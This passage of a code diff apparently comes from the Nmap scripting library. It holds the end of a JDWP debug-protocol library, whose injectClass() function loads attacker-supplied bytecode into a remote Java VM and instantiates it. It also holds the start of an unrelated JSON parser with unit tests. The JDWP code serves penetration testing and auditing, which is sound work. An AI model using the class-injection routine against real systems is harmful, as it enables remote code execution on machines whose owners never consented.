+ params = string.pack(">I8i4i4", classID, methodID, numberOfArguments) .. arguments .. string.pack(">i4", options)
+ end
+
+ local command = JDWPCommandPacket:new(id,3,3,params)
+ local status, data = executeCommand(socket,command)
+ if not status then
+ stdnse.debug2("JDWP invokeStaticMethod() error: %s", data)
+ return false,data
+ end
+ return true,data
+end
+
+--- NewInstance Command (4)
+--
+-- Creates a new object of this type, invoking the specified constructor.
+-- The constructor method ID must be a member of the class type.
+--
+-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassType_NewInstance
+--
+--@param socket Socket to use to send the command.
+--@param id Packet id.
+--@param classID Reference type id of the class.
+--@param threadID The thread in which to invoke the constructor.
+--@param methodID The constructor to invoke.
+--@numberOfArguments Number of constructor arguments.
+--@arguments Already packed arguments.
+--@return (status, objectID) If status is false data contains an error string, else it contains a reference ID of the newly created object.
+function newClassInstance(socket,id,classID,threadID,methodID,numberOfArguments,arguments)
+ local params
+ if numberOfArguments == 0 then
+ params = string.pack(">I8I8i4i4i4", classID, threadID, methodID, numberOfArguments, 0)
+ else
+ params = string.pack(">I8I8i4i4", classID, threadID, methodID, numberOfArguments) .. arguments
+ end
+
+ local command = JDWPCommandPacket:new(id,3,4,params)
+ local status, data = executeCommand(socket,command)
+ if not status then
+ stdnse.debug2("JDWP newClassInstance() error: %s", data)
+ return false,data
+ end
+ -- parse data
+ stdnse.debug1("newClassInstance data: %s",stdnse.tohex(data))
+ local tag, pos = string.unpack(">B", data)
+ local objectID
+ objectID, pos = string.unpack(">I8", data, pos)
+ return true,objectID
+end
+
+--- ArrayType Command Set (4)
+-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayType
+
+--- NewInstance Command (1)
+-- Creates a new array object of the specified type with a given length.
+--
+-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayType_NewInstance
+--
+--@param socket Socket to use to send the command.
+--@param id Packet id.
+--@param arrayType The array type of the new instance as per JNI (http://docs.oracle.com/javase/6/docs/technotes/guides/jni/spec/types.html#wp9502).
+--@param length Length of the new array.
+--@return (status, arrayID) If status is false data contains an error string, else it contains a reference ID of the newly created array.
+function newArrayInstance(socket,id,arrayType,length)
+ local params = string.pack(">I8i4", arrayType, length)
+ local command = JDWPCommandPacket:new(id,4,1,params)
+ local status, data = executeCommand(socket,command)
+ if not status then
+ stdnse.debug2("JDWP newArrayInstance() error: %s", data)
+ return false,data
+ end
+ local tag, arrayID, pos = string.unpack(">BI8", data)
+ return true, arrayID
+end
+
+--- ObjectReference Command Set (9)
+-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ObjectReference
+
+--- ReferenceType Command (1)
+-- Returns the runtime type of the object. The runtime type will be a class or an array.
+--
+-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ObjectReference_ReferenceType
+--
+--@param socket Socket to use to send the command.
+--@param id Packet id.
+--@param objectID The ID of an object.
+--@return (status, runtime_type) If status is false runtime_type contains an error string, else it contains runtime type of an object.
+function getRuntimeType(socket,id,objectID)
+ local command = JDWPCommandPacket:new(id, 9, 1, string.pack(">I8", objectID))
+ local status, data = executeCommand(socket,command)
+ if not status then
+ stdnse.debug2("JDWP resumeVM() error: %s", data)
+ return false,data
+ end
+ local tag, runtime_type = string.unpack(">BI8", data)
+ stdnse.debug1("runtime type: %d",runtime_type)
+ return true,runtime_type
+end
+
+--- InvokeMethod Command (6)
+-- Invokes a instance method with specified parameters.
+--
+-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ObjectReference_InvokeMethod
+--
+--@param socket Socket to use to send the command.
+--@param id Packet id.
+--@param objectID The ID of an object.
+--@param threadID The thread in which to invoke.
+--@param classID The class type.
+--@param methodID ID of the method to invoke.
+--@param numberOfArguments Number of method arguments.
+--@arguments Already packed arguments.
+--@return (status, data) If status is false data contains an error string, else it contains a reply data and needs to be parsed manually.
+function invokeObjectMethod(socket,id,objectID,threadID,classID,methodID,numberOfArguments,arguments)
+ local params
+
+ if numberOfArguments == 0 then
+ params = string.pack(">I8I8I8i4i4", objectID, threadID, classID, methodID, numberOfArguments)
+ else
+ params = string.pack(">I8I8I8i4i4", objectID, threadID, classID, methodID, numberOfArguments) .. arguments
+ end
+
+ local command = JDWPCommandPacket:new(id,9,6,params)
+ local status, data = executeCommand(socket,command)
+ if not status then
+ stdnse.debug2("JDWP invokeObjectMethod() error: %s", data)
+ return false,data
+ end
+ stdnse.debug1("invoke obj method data: %s ",stdnse.tohex(data))
+ return true,data
+end
+
+--- StringReference Command Set (10)
+-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_StringReference
+
+--- Value Command (1)
+-- Returns the characters contained in the string.
+--
+-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_StringReference_Value
+--
+--@param socket Socket to use to send the command.
+--@param id Packet id.
+--@param stringID The ID of a string to read.
+--@return (status, data) If status is false result contains an error string, else it contains read string.
+function readString(socket,id,stringID)
+ local command = JDWPCommandPacket:new(id, 10, 1, string.pack(">I8", stringID))
+ local status, data = executeCommand(socket,command)
+ if not status then
+ stdnse.debug2("JDWP readString() error: %s", data)
+ return false,data
+ end
+ local _,result = extract_string(data,0)
+ return true,result
+end
+
+--- ThreadReference Command Set (11)
+-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference
+
+
+--- Name Command (1)
+-- Returns the thread name.
+--
+-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference_Name
+--
+--@param socket Socket to use to send the command.
+--@param id Packet id.
+--@param threadID The ID of a thread.
+--@return (status, thread_name) If status is false thread_name contains an error string, else it contains thread's name.
+function getThreadName(socket,id,threadID)
+ local params = string.pack(">I8", threadID)
+ local command = JDWPCommandPacket:new(id,11,1,params)
+ local status, data = executeCommand(socket,command)
+ if not status then
+ stdnse.debug2("JDWP getThreadName() error: %s", data)
+ return false,data
+ end
+ -- parse data
+ local _,thread_name = extract_string(data,0)
+ return true, thread_name
+end
+
+--- Suspend Command (2)
+-- Suspends the thread.
+--
+-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference_Suspend
+--
+--@param socket Socket to use to send the command.
+--@param id Packet id.
+--@param threadID The ID of a thread.
+--@return (status, thread_name) If status is false an error string is returned, else it's nil.
+function suspendThread(socket,id,threadID)
+ local params = string.pack(">I8", threadID)
+ local command = JDWPCommandPacket:new(id,11,2,params)
+ local status, data = executeCommand(socket,command)
+ if not status then
+ stdnse.debug2("JDWP suspendThread() error: %s", data)
+ return false,data
+ end
+ return true, nil
+end
+
+--- Status Command (4)
+-- Returns the current status of a thread.
+--
+-- Thread status is described with ThreadStatus and SuspendStatus constants (http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadStatus).
+-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference_Status
+--
+--@param socket Socket to use to send the command.
+--@param id Packet id.
+--@param threadID The ID of a thread.
+--@return (status, thread_name) If status is false an error string is returned, else unparsed thread status data.
+function threadStatus(socket,id,threadID)
+ local params = string.pack(">I8", threadID)
+ local command = JDWPCommandPacket:new(id,11,4,params)
+ local status, data = executeCommand(socket,command)
+ if not status then
+ stdnse.debug2("JDWP threadStatus() error: %s", data)
+ return false,data
+ end
+ stdnse.debug1("threadStatus %s",stdnse.tohex(data))
+ return true, data
+end
+
+--- ArrayReference Command Set (13)
+-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayReference
+
+--- SetValues Command (3)
+-- Sets a range of array components.
+--
+-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayReference_SetValues
+--
+--@param socket Socket to use to send the command.
+--@param id Packet id.
+--@param objectID The ID of an array object.
+--@return (status, data) If status is false an error string is returned, else it's nil.
+function setArrayValues(socket,id,objectID,idx,values)
+ local params = string.pack(">I8i4s4", objectID, idx, values)
+ local command = JDWPCommandPacket:new(id,13,3,params)
+ local status, data = executeCommand(socket,command)
+ if not status then
+ stdnse.debug2("JDWP setArrayValues() error: %s", data)
+ return false,data
+ end
+ return true, nil
+end
+
+--- EventRequest Command Set (15)
+-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest
+
+--- Uses Set Command (1) to set singlesteping to specified thread.
+--
+-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest_Set
+--
+--@param socket Socket to use to send the command.
+--@param id Packet id.
+--@param threadID The ID of the thread.
+--@return (status, requestID) If status is false an error string is returned, else it contains assigned request id.
+function setThreadSinglestep(socket,id,threadID)
+ local params = string.pack(">BBi4BI8i4i4", 1, 2, 1, 10, threadID, 0, 0) -- event options see http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest_Set
+ local command = JDWPCommandPacket:new(id,15,1,params)
+ local status, data = executeCommand(socket,command)
+ if not status then
+ stdnse.debug2("JDWP setThreadSinglestep() error: %s", data)
+ return false,data
+ end
+ local requestID = string.unpack(">i4", data)
+ return true, requestID
+end
+
+--- Uses Clear Command (2) to unset singlesteping from a thread by specified event.
+--
+-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest_Clear
+--
+--@param socket Socket to use to send the command.
+--@param id Packet id.
+--@param eventID The ID of the thread.
+--@return (status, requestID) If status is false an error string is returned, else it's nil.
+function clearThreadSinglestep(socket,id,eventID)
+ local params = string.pack(">Bi4", 1, eventID)
+ local command = JDWPCommandPacket:new(id,15,2,params)
+ local status, data = executeCommand(socket,command)
+ if not status then
+ stdnse.debug2("JDWP clearThreadSinglestep() error: %s", data)
+ return false,data
+ end
+ return true,nil
+end
+
+--- ClassObjectReference Command Set (17)
+-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassObjectReference
+
+
+--- ReflectedType Command (1)
+-- Returns the reference type reflected by this class object.
+--
+-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassObjectReference_ReflectedType
+--
+--@param socket Socket to use to send the command.
+--@param id Packet id.
+--@param classObjectID The ID of the object.
+--@return (status, reflected_type) If status is false an error string is returned, else reflected_type is object's reference type.
+function getReflectedType(socket,id,classObjectID)
+ local _, param
+ local command = JDWPCommandPacket:new(id, 17, 1, string.pack(">I8", classObjectID))
+ local status, data = executeCommand(socket,command)
+ if not status then
+ stdnse.debug2("JDWP getReflectedType() error: %s", data)
+ return false,data
+ end
+ local reflected_type = {
+ refTypeTag = nil,
+ typeID = nil
+ }
+ reflected_type.refTypeTag, reflected_type.typeID = string.unpack(">BI8", data)
+
+ return true, reflected_type
+end
+
+--- Helper function to find a method ID by its name.
+--
+-- @param socket Socket to use for communication.
+-- @param class ID of the class whose method we seek.
+-- @param methodName Name of the method.
+-- @param skipFirst Skip first found method.
+function findMethod(socket,class,methodName,skipFirst)
+ local methodID
+ local status, methods = getMethodsWithGeneric(socket,0,class)
+ if not status then
+ return false
+ end
+ for _, method in ipairs(methods) do -- find first constructor and first defineClass() method
+ stdnse.debug2("Method name: %s", method.name)
+ if methodID == nil then
+ if string.find(method.name,methodName) then
+ if skipFirst then
+ skipFirst = false
+ else
+ methodID = method.methodID
+ end
+ end
+ end
+ end
+ return methodID
+end
+
+--- Tries to inject specified bytes as a java class and create its instance.
+--
+-- Returns a table containing following fields:
+-- * 'id' Injected class reference ID.
+-- * 'instance' Injected calss' instance reference ID.
+-- * 'thread' Thread in which the class was injected and instantiated.
+--
+-- @param socket Socket to use for communication.
+-- @param class_bytes String of bytes of a java class file to inject.
+-- @return (status,injectedClass) If status is false, an error message is returned, else returns a table with injected class info.
+function injectClass(socket,class_bytes)
+ local classes,status
+ -- find byte array class id needed to create new array to load our bytecode into
+ status,classes = getAllClassesWithGeneric(socket,0)
+ if not status then
+ stdnse.debug1("getAllClassesWithGeneric failed: %s", classes)
+ return false
+ end
+ local byteArrayID
+ for _,class in ipairs(classes) do
+ if string.find(class.signature,"%[B") then
+ byteArrayID = class.typeID
+ break
+ end
+ end
+ if byteArrayID == nil then
+ stdnse.debug1("finding byte array id failed")
+ return false
+ end
+ stdnse.debug1("Found byte[] id %d",byteArrayID)
+
+ -- find SecureClassLoader id by signature
+ status, classes = getClassBySignature(socket,0,"Ljava/security/SecureClassLoader;")
+ if not status then
+ return false
+ end
+ local secureClassLoader = classes[1].referenceTypeID
+ stdnse.debug1("Found SecureClassLoader id %d",secureClassLoader)
+ -- find SecureClassLoader() constructor
+ local constructorMethodID = findMethod(socket,secureClassLoader,"<init>",true)
+ -- find ClassLoader id by signature
+ status, classes = getClassBySignature(socket,0,"Ljava/lang/ClassLoader;")
+ if not status then
+ return false
+ end
+ local classLoader = classes[1].referenceTypeID
+ stdnse.debug1("Found ClassLoader id %d",classes[1].referenceTypeID)
+ -- find ClassLoader's defineClass() method
+ local defineClassMethodID = findMethod(socket,classLoader,"defineClass",false)
+ -- find ClassLoader's resolveClass() method
+ local resolveClassMethodID = findMethod(socket,classLoader,"resolveClass",false)
+ if constructorMethodID == nil or defineClassMethodID == nil or resolveClassMethodID == nil then
+ stdnse.debug1("Either constructor, defineClass or resolveClass method could not be found %s,%s,%s", type(constructorMethodID), type(defineClassMethodID),type(resolveClassMethodID))
+ return false
+ end
+
+
+ -- create array to load bytecode into
+ local arrayID
+ status, arrayID = newArrayInstance(socket,0,byteArrayID,#class_bytes)
+ if not status then
+ stdnse.debug1("New array failed: %s", arrayID)
+ return false
+ end
+ stdnse.debug1("Created new byte array of length %d",#class_bytes)
+ -- set array values
+ local temp
+ status, temp = setArrayValues(socket,0,arrayID,0,class_bytes)
+ if not status then
+ stdnse.debug1("Set values failed: %s", temp)
+ return
+ end
+ stdnse.debug1("Set array values to injected class bytes")
+
+ -- get main thread id
+ -- in order to load a new class file, thread must be suspended by an event
+ -- so we set it to singlestep, let it run and it get suspended right away
+ local threads
+ status,threads = getAllThreads(socket,0)
+ if not status then
+ stdnse.debug1("get threads failed: %s", threads)
+ return false
+ end
+ local main_thread
+ local eventID
+ stdnse.debug1("Looking for main thread...")
+ for _,thread in ipairs(threads) do
+ local thread_name
+ status, thread_name = getThreadName(socket,0,thread)
+ if not status then
+ stdnse.debug1("getThreadName failed: %s", thread_name)
+ return false
+ end
+ if thread_name == "main" then
+ stdnse.debug1("Setting singlesteping to main thread.")
+ status, eventID = setThreadSinglestep(socket,0,thread)
+ main_thread = thread
+ break
+ end
+ end
+ if main_thread == nil then
+ stdnse.debug1("couldn't find main thread")
+ return false
+ end
+ -- to trigger the singlestep event, VM must be resumed
+ stdnse.debug1("Resuming VM and waiting for single step event from main thread...")
+ local status, _ = resumeVM(socket,0)
+ -- clear singlestep since we need to run our code in this thread and we don't want it to stop after each instruction
+ clearThreadSinglestep(socket,0,eventID)
+ stdnse.debug1("Cleared singlesteping from main thread.")
+
+ -- instantiate new class loader
+ local class_loader_instance
+ status, class_loader_instance = newClassInstance(socket,0,secureClassLoader,main_thread,constructorMethodID,0,nil)
+ if not status then
+ stdnse.debug1("newClassInstance failed: %s", class_loader_instance)
+ return false
+ end
+ stdnse.debug1("Created new instance of SecureClassLoader.")
+
+ local injectedClass
+ -- invoke defineClass with byte array that contains our bytecode
+ local defineClassArgs = string.pack(">BI8Bi4Bi4", 0x5b, arrayID, 0x49, 0, 0x49, #class_bytes) -- argument tags taken from http://docs.oracle.com/javase/6/docs/technotes/guides/jni/spec/types.html#wp9502
+ stdnse.debug1("Calling secureClassLoader.defineClass(byte[],int,int) ...")
+ status, injectedClass = invokeObjectMethod(socket,0,class_loader_instance,main_thread,secureClassLoader,defineClassMethodID,3,defineClassArgs)
+ if not status then
+ stdnse.debug1("invokeObjectMethod failed: %s", injectedClass)
+ end
+ -- resolve (Java's way of saying link) loaded class
+ status, _ = invokeObjectMethod(socket,0,class_loader_instance,main_thread,secureClassLoader,resolveClassMethodID,1,injectedClass) -- call with injectedClass which still has a tag
+ if not status then
+ stdnse.debug1("invokeObjectMethod failed:")
+ end
+ -- extract the injected class' ID
+ local tag,injectedClassID
+ tag, injectedClassID = string.unpack(">BI8", injectedClass)
+
+ -- our class is now injected, but we need to find its methods by calling Class.getMethods() on it
+ -- and for that we need its runtime_type which is Class
+ local runtime_type
+ status, runtime_type = getRuntimeType(socket,0,injectedClassID) -- should be Class
+ -- find the getMethods() id
+ local getMethodsMethod = findMethod(socket,runtime_type,"getMethods",false)
+ status, _ = invokeObjectMethod(socket,0,injectedClassID,main_thread,runtime_type,getMethodsMethod,0,nil)
+
+
+ stdnse.debug1("New class defined. Injected class id : %d",injectedClassID)
+ local sig, reflected_type
+ status, sig = getSignatureWithGeneric(socket,0,injectedClassID)
+ stdnse.debug1("Injected class signature: %s", sig)
+ status, reflected_type = getReflectedType(socket,0,injectedClassID)
+
+ -- find injected class constructor
+ local injectedConstructor = findMethod(socket,injectedClassID,"<init>",false)
+
+ if injectedConstructor == nil then
+ stdnse.debug1("Couldn't find either evil method or constructor")
+ return false
+ end
+
+ -- instantiate our evil class
+ local injectedClassInstance
+ status, injectedClassInstance = newClassInstance(socket,0,injectedClassID,main_thread,injectedConstructor,0,nil)
+ if not status then
+ return false, injectedClassInstance
+ end
+ local injected_class = {
+ id = injectedClassID,
+ instance = injectedClassInstance,
+ thread = main_thread
+ }
+ return true, injected_class
+end
+
+return _ENV;
diff --git a/nselib/json.lua b/nselib/json.lua
new file mode 100644
index 0000000..559ef97
--- /dev/null
+++ b/nselib/json.lua
@@ -0,0 +1,443 @@
+---
+-- Library methods for handling JSON data. It handles JSON encoding and
+-- decoding according to RFC 4627.
+--
+-- There is a straightforward mapping between JSON and Lua data types. One
+-- exception is JSON <code>NULL</code>, which is not the same as Lua
+-- <code>nil</code>. (A better match for Lua <code>nil</code> is JavaScript
+-- <code>undefined</code>.) <code>NULL</code> values in JSON are represented by
+-- the special value <code>json.NULL</code>.
+--
+-- @author Martin Holst Swende
+-- @author David Fifield
+-- @author Patrick Donnelly
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+-- Version 0.4
+-- Created 01/25/2010 - v0.1 - created by Martin Holst Swende <martin@swende.se>
+-- Heavily modified 02/22/2010 - v0.3. Rewrote the parser into an OO-form, to not have to handle
+-- all kinds of state with parameters and return values.
+-- Modified 02/27/2010 - v0.4 Added unicode handling (written by David Fifield). Renamed toJson
+-- and fromJson into generate() and parse(), implemented more proper numeric parsing and added some more error checking.
+
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local unicode = require "unicode"
+local unittest = require "unittest"
+_ENV = stdnse.module("json", stdnse.seeall)
+
+local lpeg = require "lpeg";
+local locale = lpeg.locale;
+local P = lpeg.P;
+local R = lpeg.R;
+local S = lpeg.S;
+local V = lpeg.V;
+local C = lpeg.C;
+local Cb = lpeg.Cb;
+local Cc = lpeg.Cc;
+local Cf = lpeg.Cf;
+local Cg = lpeg.Cg;
+local Cp = lpeg.Cp;
+local Cs = lpeg.Cs;
+local Ct = lpeg.Ct;
+local Cmt = lpeg.Cmt;
+
+-- case sensitive keyword
+local function K (a)
+ return P(a) * -(locale().alnum + "_");
+end
+
+local NULL = {};
+_M.NULL = NULL;
+
+--- Makes a table be treated as a JSON Array when generating JSON
+--
+-- A table treated as an Array has all non-number indices ignored.
+-- @param t a table to be treated as an array
+function make_array(t)
+ local mt = getmetatable(t) or {}
+ mt["json"] = "array"
+ setmetatable(t, mt)
+ return t
+end
+
+--- Makes a table be treated as a JSON Object when generating JSON
+--
+-- @param t a table to be treated as an object
+function make_object(t)
+ local mt = getmetatable(t) or {}
+ mt["json"] = "object"
+ setmetatable(t, mt)
+ return t
+end
+
+-- Decode a Unicode escape, assuming that self.pos starts just after the
+-- initial \u. May consume an additional escape in the case of a UTF-16
+-- surrogate pair. See RFC 2781 for UTF-16.
+local unicode_esc = P [[\u]] * C(locale().xdigit * locale().xdigit * locale().xdigit * locale().xdigit);
+local function unicode16 (subject, position, hex)
+ local cp = assert(tonumber(hex, 16));
+
+ if cp < 0xD800 or cp > 0xDFFF then
+ return position, unicode.utf8_enc(cp);
+ elseif cp >= 0xDC00 and cp <= 0xDFFF then
+ error(("Not a Unicode character: U+%04X"):format(cp));
+ end
+
+ -- Beginning of a UTF-16 surrogate.
+ local lowhex = unicode_esc:match(subject, position);
+
+ if not lowhex then
+ error(("Bad unicode escape \\u%s (missing low surrogate)"):format(hex))
+ else
+ local cp2 = assert(tonumber(lowhex, 16));
+ if not (cp2 >= 0xDC00 and cp2 <= 0xDFFF) then
+ error(("Bad unicode escape \\u%s\\u%s (bad low surrogate)"):format(hex, lowhex))
+ end
+ position = position+6 -- consume '\uXXXX'
+ cp = 0x10000 + (cp & 0x3FF) * 0x400 + (cp2 & 0x3FF)
+ return position, unicode.utf8_enc(cp);
+ end
+end
+
+-- call lpeg.locale on the grammar to add V "space"
+local json = locale {
+ V "json";
+
+ json = V "space"^0 * V "value" * V "space"^0 * P(-1); -- FIXME should be 'V "object" + V "array"' instead of 'V "value"' ?
+
+ value = V "string" +
+ V "number" +
+ V "object" +
+ V "array" +
+ K "true" * Cc(true)+
+ K "false" * Cc(false)+
+ K "null" * Cc(NULL);
+
+ object = Cf(Ct "" * P "{" * V "space"^0 * (V "members")^-1 * V "space"^0 * P "}", rawset) / make_object;
+ members = V "pair" * (V "space"^0 * P "," * V "space"^0 * V "pair")^0;
+ pair = Cg(V "string" * V "space"^0 * P ":" * V "space"^0 * V "value");
+
+ array = Ct(P "[" * V "space"^0 * (V "elements")^-1 * V "space"^0 * P "]") / make_array;
+ elements = V "value" * V "space"^0 * (P "," * V "space"^0 * V "value")^0;
+
+ string = Ct(P [["]] * (V "char")^0 * P [["]]) / table.concat;
+ char = P [[\"]] * Cc [["]] +
+ P [[\\]] * Cc [[\]] +
+ P [[\b]] * Cc "\b" +
+ P [[\f]] * Cc "\f" +
+ P [[\n]] * Cc "\n" +
+ P [[\r]] * Cc "\r" +
+ P [[\t]] * Cc "\t" +
+ P [[\u]] * Cmt(C(V "xdigit" * V "xdigit" * V "xdigit" * V "xdigit"), unicode16) +
+ P [[\]] * C(1) +
+ (C(1) - P [["]]);
+
+ number = C((P "-")^-1 * V "space"^0 * (V "hexadecimal" + V "floating" + V "integer")) / function (a) return assert(tonumber(a)) end;
+ hexadecimal = P "0x" * V "xdigit"^1;
+ floating = (V "digit"^1 * P "." * V "digit"^0 + V "digit"^0 * P "." * V "digit"^1) * (V "exponent")^-1;
+ integer = V "digit"^1 * (V "exponent")^-1;
+ exponent = S "eE" * (S "-+")^-1 * V "digit"^1;
+};
+json = P(json); -- compile the grammar
+
+
+--- Parses JSON data into a Lua object.
+--
+-- This is the method you probably want to use if you use this library from a
+-- script.
+--@param data a json string
+--@return status true if ok, false if bad
+--@return an object representing the json, or error message
+function parse (data)
+ local status, object = pcall(json.match, json, data);
+
+ if not status then
+ return false, object;
+ elseif object then
+ return true, object;
+ else
+ return false, "syntax error";
+ end
+end
+
+--Some local shortcuts
+local function dbg(str,...)
+ stdnse.debug1("Json:"..str, ...)
+end
+
+-- See section 2.5 for escapes.
+-- For convenience, ESCAPE_TABLE maps to escape sequences complete with
+-- backslash, and REVERSE_ESCAPE_TABLE maps from single escape characters
+-- (no backslash).
+local ESCAPE_TABLE = {}
+local REVERSE_ESCAPE_TABLE = {}
+do
+ local escapes = {
+ ["\x22"] = "\"",
+ ["\x5C"] = "\\",
+ ["\x2F"] = "/",
+ ["\x08"] = "b",
+ ["\x0C"] = "f",
+ ["\x0A"] = "n",
+ ["\x0D"] = "r",
+ ["\x09"] = "t",
+ }
+ for k, v in pairs(escapes) do
+ ESCAPE_TABLE[k] = "\\" .. v
+ REVERSE_ESCAPE_TABLE[v] = k
+ end
+end
+
+-- Escapes a string
+--@param str the string
+--@return a string where the special chars have been escaped
+local function escape(str)
+ return "\"" .. string.gsub(str, ".", ESCAPE_TABLE) .. "\""
+end
+
+--- Checks what JSON type a variable will be treated as when generating JSON
+-- @param var a variable to inspect
+-- @return a string containing the JSON type. Valid values are "array",
+-- "object", "number", "string", "boolean", and "null"
+function typeof(var)
+ local t = type(var)
+ if var == NULL then
+ return "null"
+ elseif t == "table" then
+ local mtval = rawget(getmetatable(var) or {}, "json")
+ if mtval == "array" or (mtval ~= "object" and #var > 0) then
+ return "array"
+ else
+ return "object"
+ end
+ else
+ return t
+ end
+ error("Unknown data type in typeof")
+end
+
+--- Creates json data from an object
+--@param obj a table containing data
+--@return a string containing valid json
+function generate(obj)
+ -- NULL-check must be performed before
+ -- checking type == table, since the NULL-object
+ -- is a table
+ if obj == NULL then
+ return "null"
+ elseif obj == false then
+ return "false"
+ elseif obj == true then
+ return "true"
+ elseif type(obj) == "number" then
+ return tostring(obj)
+ elseif type(obj) == "string" then
+ return escape(obj)
+ elseif type(obj) == "table" then
+ local k, v, elems, jtype
+ elems = {}
+ jtype = typeof(obj)
+ if jtype == "array" then
+ for _, v in ipairs(obj) do
+ elems[#elems + 1] = generate(v)
+ end
+ return "[" .. table.concat(elems, ", ") .. "]"
+ elseif jtype == "object" then
+ for k, v in pairs(obj) do
+ elems[#elems + 1] = escape(k) .. ": " .. generate(v)
+ end
+ return "{" .. table.concat(elems, ", ") .. "}"
+ end
+ end
+ error("Unknown data type in generate")
+end
+
+if not unittest.testing() then
+ return _ENV
+end
+
+----------------------------------------------------------------------------------
+-- Test-code for debugging purposes below
+----------------------------------------------------------------------------------
+
+local TESTS = {
+ {
+ '{"a":1}',
+ generates = '{"a": 1}',
+ is = "object",
+ test = function(o) return o["a"] == 1 end
+ },
+ {
+ '{"a":true}',
+ generates = '{"a": true}',
+ is = "object",
+ test = function(o) return o["a"] == true end
+ },
+ {
+ '{"a": false}',
+ generates = '{"a": false}',
+ is = "object",
+ test = function(o) return o["a"] == false end
+ },
+ {
+ '{"a": null \r\n, \t "b" \f:"ehlo"}',
+ is = "object",
+ test = function(o) return o["a"] == NULL end
+ },
+ {
+ '{"a\\"a":"a\\"b\\"c\\"d"}',
+ generates = '{"a\\"a": "a\\"b\\"c\\"d"}',
+ is = "object",
+ test = function(o) return o['a"a'] == 'a"b"c"d' end
+ },
+ {
+ '{"foo":"gaz\\"onk", "pi":3.14159,"hello":{ "wo":"rl\\td"}}',
+ is = "object",
+ test = function(o) return (
+ o["foo"] == 'gaz"onk' and
+ o["pi"] == 3.14159 and
+ o["hello"]["wo"] == "rl\td"
+ ) end
+ },
+ {
+ '{"a":1, "b":2}',
+ is = "object",
+ test = function(o)
+ local j = generate(o)
+ return ( -- order is random
+ j == '{"a": 1, "b": 2}' or
+ j == '{"b": 2, "a": 1}'
+ ) end
+ },
+ {
+ '[1,2,3,4,5,null,false,true,"\195\164\195\165\195\182\195\177","bar"]',
+ generates = '[1, 2, 3, 4, 5, null, false, true, "\195\164\195\165\195\182\195\177", "bar"]',
+ is = "array",
+ test = function(o) return #o == 10 end
+ },
+ {
+ '[]',
+ generates = '[]',
+ is = "array",
+ test = function(o) return not next(o) end
+ },
+ {
+ '{}',
+ generates = '{}',
+ is = "object",
+ test = function(o) return not next(o) end
+ },
+ {'', valid=false},
+ {
+ 'null',
+ generates = 'null',
+ is = "null"
+ },
+ {
+ '"abc"',
+ generates = '"abc"',
+ is = "string",
+ },
+ {'{a":1}', valid=false}, -- error
+ {'{"a" bad :1}', valid=false}, -- error
+ {
+ '["a\\\\t"]',
+ generates = '["a\\\\t"]',
+ is = "array",
+ test = function(o) return o[1] == "a\\t" end
+ }, -- Should become Lua {"a\\t"}
+ {'[0.0.0]', valid=false}, -- error
+ {
+ '[-1]',
+ generates = '[-1]',
+ is = "array",
+ },
+ {
+ '[-1.123e-2]',
+ generates = '[-0.01123]',
+ is = "array",
+ },
+ {
+ '[5e3]',
+ generates = '[5000.0]',
+ is = "array",
+ },
+ {
+ '[5e+3]',
+ generates = '[5000.0]',
+ is = "array",
+ },
+ {
+ '[5E-3]',
+ generates = '[0.005]',
+ is = "array",
+ },
+ {
+ '[5.5e3]',
+ generates = '[5500.0]',
+ is = "array",
+ },
+ {
+ '["a\\\\"]',
+ generates = '["a\\\\"]',
+ is = "array",
+ }, -- Should become Lua {"a\\"}
+ {
+ ' {"a}": 1} ',
+ generates = '{"a}": 1}',
+ is = "object",
+ test = function(o) return o["a}"] == 1 end
+ }, -- Should become Lua {"a}" = 1}
+ {'["key": "value"]', valid=false}, -- error
+ {
+ '["\\u0041"]',
+ generates = '["A"]',
+ is = "array",
+ }, -- Should become Lua {"A"}
+ {
+ '["\\uD800"]',
+ valid=false,
+ test = function(s)
+ return s:find("Bad unicode escape.*missing low surrogate") ~= nil
+ end
+ }, -- error
+ {
+ '["\\uD834\\uDD1EX"]',
+ generates = '["\240\157\132\158X"]',
+ is = "array",
+ }, -- Should become Lua {"\240\157\132\158X"}
+ {
+ '1684119503',
+ generates = '1684119503',
+ is = "number"
+ }
+}
+
+test_suite = unittest.TestSuite:new()
+
+local equal = unittest.equal
+local is_false = unittest.is_false
+local is_true = unittest.is_true
+
+for _, test in ipairs(TESTS) do
